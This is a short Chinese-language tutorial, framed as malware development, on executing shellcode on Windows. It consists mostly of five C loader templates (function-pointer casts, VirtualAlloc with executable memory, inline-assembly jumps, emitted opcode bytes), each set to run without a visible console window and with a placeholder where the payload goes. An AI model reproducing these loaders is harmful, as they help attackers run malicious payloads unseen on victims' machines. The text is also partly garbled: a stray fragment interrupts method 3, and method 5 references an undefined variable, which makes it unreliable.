恶意软件开发——shellcode执⾏的⼏种常见⽅式
⼀、什么是shellcode？
shellcode是⼀⼩段代码，⽤于利⽤软件漏洞作为有效载荷。它之所以被称为“shellcode”，是因为它通常启动⼀个命令shell，攻击者可以从这个命令shell控制受损的计算机，但是执⾏类似任务的任何代码都可以被称为shellcode。因为有效载荷（payload）的功能不仅限于⽣成shell
简单来说：shellcode为16进制的机器码，是⼀段执⾏某些动作的机器码
那么，什么是机器码呢？
在百度百科中这样解释道：计算机直接使⽤的程序语⾔，其语句就是机器指令码，机器指令码是⽤于指挥计算机应做的操作和操作数地址的⼀组⼆进制数
简单来说：直接指挥计算机的机器指令码
⼆、shellcode执⾏的⼏种常见⽅式
1、指针执⾏
最常见的⼀种加载shellcode的⽅法，使⽤指针来执⾏函数
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出⿊窗⼝
int main()
{
((void(*)(void)) & buf)();
}
2、申请动态内存加载
申请⼀段动态内存，然后把shellcode放进去，随后强转为⼀个函数类型指针，最后调⽤这个函数
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出⿊窗⼝
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
3、嵌⼊汇编加载
shell命令属于什么语言注：必须要x86版本的shellcode
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出⿊窗⼝
unsigned char shellcode[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
4、强制类型转换
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出⿊窗⼝
unsigned char buff[] = "你的shellcode";
void main()
{
((void(WINAPI*)(void)) & buff)();
}
5、汇编花指令
和⽅法3差不多
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出⿊窗⼝
unsigned char buff[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset xff;
_emit 0xFF;
_emit 0xE0;
}
}
以上五种⽅法就是最常见的shellcode执⾏⽅式